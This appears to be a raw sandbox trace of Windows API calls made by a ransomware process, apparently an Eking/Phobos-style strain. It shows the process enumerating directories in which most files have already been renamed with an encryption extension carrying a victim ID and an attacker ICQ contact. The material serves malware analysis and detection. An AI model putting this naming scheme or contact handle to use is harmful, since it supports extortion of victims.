FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80012e2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80012e2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~3.EKI")) returned 1 [0275.564] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc802609f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc802609f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8405d73, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~4.EKI")) returned 1 [0275.564] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc802609f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc802609f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80724be, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RO9365~1.EKI")) returned 1 [0275.564] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80724be, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80724be, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80be95b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROD52B~1.EKI")) returned 1 [0275.564] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80be95b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80be95b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc826248c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROFF0B~1.EKI")) returned 1 [0275.564] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc826248c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc826248c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc83225ae, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROB541~1.EKI")) returned 1 [0275.564] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83225ae, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc83225ae, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d1cee6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SAVEIC~1.EKI")) returned 1 [0275.565] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a21eee, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8a21eee, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d1cee6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPI~1.EKI")) returned 1 [0275.565] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8dc0bb3, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="STOPIC~1.EKI")) returned 1 [0275.565] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d8f471, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSREQ~1.EKI")) returned 1 [0275.565] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d8f471, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d8f471, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8e2846e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSREQ~2.EKI")) returned 1 [0275.565] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dc0bb3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8dc0bb3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc901f0e6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WARNIC~1.EKI")) returned 1 [0275.565] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dc0bb3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8dc0bb3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc901f0e6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WARNIC~1.EKI")) returned 0 [0275.565] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.567] GetProcessHeap () returned 0xaf0000 [0275.567] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb53840 | out: hHeap=0xaf0000) returned 1 [0275.567] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e2846e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8e2846e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc9091963, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="header.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="HEADER~1.EKI")) returned 1 [0275.567] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xcbe50b31, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xadd395d, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~1.EKI")) returned 1 [0275.567] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc9f5235c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x290312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~2.EKI")) returned 1 [0275.567] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9f5235c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc9f5235c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xca92bf2b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x11c112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~3.EKI")) returned 1 [0275.567] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xce791297, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~4.EKI")) returned 1 [0275.567] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc52b72e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcc52b72e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcd816707, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd5112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NE0E92~1.EKI")) returned 1 [0275.567] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdbf198a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcdbf198a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcde2dc4a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x79112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NED758~1.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde53f85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcde53f85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcdea052e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x427b2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ParameterInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdea052e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcdea052e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce043f41, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2d312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9RAST_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RGB9RA~1.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce06a218, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce06a218, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce06a218, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9Rast_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RGB9RA~2.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce06a218, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce06a218, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce1c159e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13242, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~1.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1c159e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce1c159e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce77cb57, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupEngine.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~2.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcebcebc8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcebcebc8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcec2fd57, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x48252, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~1.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1c2fb2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf1c2fb2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf1c2fb2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x76a2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.xsd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~3.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf168b6b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf168b6b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf19559b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17862, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUtility.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~2.EKI")) returned 1 [0275.568] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf19559b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf19559b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf4156b0, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SplashScreen.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SPLASH~1.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1c2fb2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf1c2fb2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf48e5b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x23522, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sqmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SQMAPI~1.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf4156b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf4156b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf43b8d4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3802, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Strings.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="STRING~1.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf43b8d4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf43b8d4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf464983, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf464983, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf464983, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf88de22, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="watermark.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WATERM~1.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xcf867bdd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x5b5245, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~1.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xd05f7098, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2d7652, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~2.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x769777f9, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x59b300, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~3.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x75ebced2, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~4.EKI")) returned 1 [0275.569] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x75ebced2, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~4.EKI")) returned 0 [0275.570] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.570] GetProcessHeap () returned 0xaf0000 [0275.570] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0275.571] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0275.571] GetProcessHeap () returned 0xaf0000 [0275.571] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0275.572] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0275.572] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 